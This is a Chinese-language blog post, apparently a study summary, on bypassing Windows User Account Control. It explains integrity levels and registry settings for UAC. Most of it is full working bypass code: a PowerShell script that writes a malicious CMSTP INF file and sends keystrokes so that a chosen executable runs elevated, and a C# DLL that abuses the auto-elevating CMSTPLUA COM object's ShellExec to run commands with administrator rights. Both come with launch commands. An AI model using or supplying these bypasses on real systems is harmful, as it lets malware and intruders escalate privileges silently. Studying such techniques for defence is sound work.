UAC绕过学习-总结

1、什么是uac?

UAC 用于允许管理员用户不对每个执行的进程授予管理员权限这是作为管理员UAC提升执行,如果成功完成,特权令牌用于创建进程。

这里为了区分低权限高权限的进程,微软使用了强制性完整性控制MIC

MIC介绍

查看自己当前的完整性级别

whoami /groups

image
接下来我们以该级别创建一个文件
image
现在我们以管理员cmd给予test.txt最高的系统权限
image
可以看见我们对该文件是有FULL权限的,但是由于mic完整性校验控制
image
我们当前是中 level 所以 对高level的不能完全控制
也就是这里说的
Therefore, when a file has a minimum integrity level, in order to modify it you need to be running at least in that integrity level.
那我们如果将cmd.exe 的完整性校验改为高 他会自动以高权限运行吗
如下
低权限cmd
高权限cmd
这里我们就很明白了
Not all files and folders have a minimum integrity level, but all processes are running under an integrity level. And similar to what happened with the file-system, if a process wants to write inside another process it must have at least the same integrity level. This means that a process with low integrity level can’t open a handle with full access to a process with medium integrity level.
并非所有文件和文件夹都具有最低完整性级别,但所有进程都在完整性级别下运行。与文件系统发生的情况类似,如果一个进程想要在另一个进程内部写入,它必须至少具有相同的完整性级别。这意味着具有低完整性级别的进程无法打开对具有中等完整性级别的进程具有完全访问权限的句柄。

check list UAC

我们通过此条注册表查询UAC的情况 reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System 这里 EnableLUA 1为开启UAC 0为关闭UAC、

image

此外还需要注意此项

ConsentPromptBehaviorAdmin

我们一般遇到2和5
image

此外还需要注意
FilterAdministratorToken(这里解决了一直只知道uac不能普通管理员不能远程ipc执行命令 只有administrator可以的问题)

image

UAC-绕过手段

1、白名单机制bypassUAC 这里有狠多具体参考uacme这里我拿cmstp举例

参考代码

这里把16行改为我们恶意程序

点击查看代码
# UAC Bypass poc using SendKeys
# Version 1.0
# Author: Oddvar Moe
# Functions borrowed from: https://powershell.org/forums/topic/sendkeys/
# Todo: Hide window on screen for stealth
# Todo: Make script edit the INF file for command to inject...


Function script:Set-INFFile {
[CmdletBinding()]
	Param (
	[Parameter(HelpMessage="Specify the INF file location")]
	$InfFileLocation = "$env:temp\CMSTP.inf",
	
	[Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")]
	[String]$CommandToExecute = 'C:\Users\xxx\Desktop\uactest\artifact.exe'
	)

$InfContent = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
$CommandToExecute
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""

[Strings]
ServiceName="CorpVPN"
ShortSvcName="CorpVPN"

"@

$InfContent | Out-File $InfFileLocation -Encoding ASCII
}


Function Get-Hwnd
{
  [CmdletBinding()]
    
  Param
  (
    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName
  )
  Process
    {
        $ErrorActionPreference = 'Stop'
        Try 
        {
            $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle
        }
        Catch 
        {
            $hwnd = $null
        }
        $hash = @{
        ProcessName = $ProcessName
        Hwnd        = $hwnd
        }
        
    New-Object -TypeName PsObject -Property $hash
    }
}

function Set-WindowActive
{
  [CmdletBinding()]

  Param
  (
    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name
  )
  
  Process
  {
    $memberDefinition = @'
    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

'@

    Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32
    $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd
    If ($hwnd) 
    {
      $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)
      [User32.Api]::SetForegroundWindow($hwnd)
      [User32.Api]::ShowWindow($hwnd, 5)
    }
    Else 
    {
      [string] $hwnd = 'N/A'
    }

    $hash = @{
      Process = $Name
      Hwnd    = $hwnd
    }
        
    New-Object -TypeName PsObject -Property $hash
  }
}

. Set-INFFile
#Needs Windows forms
add-type -AssemblyName System.Windows.Forms
If (Test-Path $InfFileLocation) {
#Command to run
$ps = new-object system.diagnostics.processstartinfo "c:\windows\system32\cmstp.exe"
$ps.Arguments = "/au $InfFileLocation"
$ps.UseShellExecute = $false

#Start it
[system.diagnostics.process]::Start($ps)

do
{
	# Do nothing until cmstp is an active window
}
until ((Set-WindowActive cmstp).Hwnd -ne 0)


#Activate window
Set-WindowActive cmstp

#Send the Enter key
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
}
然后运行

powershell -ExecutionPolicy bypass C:\Users\xxx\Desktop\uactest\usctest.ps1
powershell C:\Users\xxxx\Desktop\uactest\usctest.ps1
image
2、利用com组件提权
这里以ICMLuaUtil为例子
主要原理是
该方法原理在于调用COM组件中自动提权并且可以执行命令的接口。

点击查看代码
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

namespace UAC_comICM
{
    public class Class1
    {
        internal enum HRESULT : long
        {
            S_FALSE = 0x0001,
            S_OK = 0x0000,
            E_INVALIDARG = 0x80070057,
            E_OUTOFMEMORY = 0x8007000E
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct BIND_OPTS3
        {
            internal uint cbStruct;
            internal uint grfFlags;
            internal uint grfMode;
            internal uint dwTickCountDeadline;
            internal uint dwTrackFlags;
            internal uint dwClassContext;
            internal uint locale;
            object pServerInfo; // will be passing null, so type doesn't matter
            internal IntPtr hwnd;
        }

        [Flags]
        internal enum CLSCTX
        {
            CLSCTX_INPROC_SERVER = 0x1,
            CLSCTX_INPROC_HANDLER = 0x2,
            CLSCTX_LOCAL_SERVER = 0x4,
            CLSCTX_REMOTE_SERVER = 0x10,
            CLSCTX_NO_CODE_DOWNLOAD = 0x400,
            CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,
            CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,
            CLSCTX_NO_FAILURE_LOG = 0x4000,
            CLSCTX_DISABLE_AAA = 0x8000,
            CLSCTX_ENABLE_AAA = 0x10000,
            CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,
            CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER,
            CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,
            CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER
        }

        const ulong SEE_MASK_DEFAULT = 0x0;
        const ulong SW_SHOW = 0x5;

        [DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
        [return: MarshalAs(UnmanagedType.Interface)]
        internal static extern object CoGetObject(
          string pszName,
          [In] ref BIND_OPTS3 pBindOptions,
          [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);

        [DllExport]
        public static void BypassUAC()
        {
            Guid classId_cmstplua = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
            // Interface ID
            Guid interfaceId_icmluautil = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");

            ICMLuaUtil icm = (ICMLuaUtil)LaunchElevatedCOMObject(classId_cmstplua, interfaceId_icmluautil); ;
            icm.ShellExec(@"cmd.exe", string.Format("/c {0}", "calc"), @"C:\windows\system32\", SEE_MASK_DEFAULT, SW_SHOW);
            Marshal.ReleaseComObject(icm);
        }

        public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID)
        {
            string CLSID = Clsid.ToString("B");
            string monikerName = "Elevation:Administrator!new:" + CLSID;

            BIND_OPTS3 bo = new BIND_OPTS3();
            bo.cbStruct = (uint)Marshal.SizeOf(bo);
            bo.hwnd = IntPtr.Zero;
            bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER;

            object retVal = CoGetObject(monikerName, ref bo, InterfaceID);

            return (retVal);
        }

        [ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        interface ICMLuaUtil
        {
            //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
            //void QueryInterface([In, MarshalAs(UnmanagedType.LPStruct)] Guid riid, [In, Out] ref IntPtr ppv);
            //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
            //void AddRef();
            //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
            //void Release();
            void Method1();
            void Method2();
            void Method3();
            void Method4();
            void Method5();
            void Method6();
            HRESULT ShellExec(
                [In, MarshalAs(UnmanagedType.LPWStr)] string file,
                [In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,
                [In, MarshalAs(UnmanagedType.LPWStr)] string directory,
                [In] ulong fMask,
                [In] ulong nShow);

            
        } 
    }
}

这里由于必须使用rundll32.exe去拉取,不然会是系统不信任的进程 所以启动格式为rundll32.exe dll uac

修改PEB结构,欺骗PSAPI,调用COM组件ICMLuaUtil.shellexec去执行

参考如下 https://github.com/0xlane/BypassUAC/blob/master/BypassUAC_csharp/PEBMasq.cs https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/ https://3gstudent.github.io/%E9%80%9A%E8%BF%87COM%E7%BB%84%E4%BB%B6IFileOperation%E8%B6%8A%E6%9D%83%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6

好处就是不用调用rundll32.exe这种可信的文件
这里提供快速查找本机可利用com的手法
https://github.com/hfiref0x/UACME/tree/1e884d142a8063fc8e354191a8a5a86c57cb6854/Source/Yuubari
image
这里使用之前提到的cmstplua进行搜索3e5fc7f9-9a51-4367-9063-a120244fbec7可以看到Autoelevated COM objects 组件CMSTPLUA的信息。通过这种方式,我们可以把当前系统所有支持auto-elevate的COM组件以及应用全部都列出来

参考 https://cloud.tencent.com/developer/article/1623517 https://github.com/0xlane/BypassUAC/blob/master/BypassUAC_Dll_csharp/dllmain.cs https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/

posted @ 2021-12-07 21:21  yourse1f  阅读(587)  评论(0编辑  收藏  举报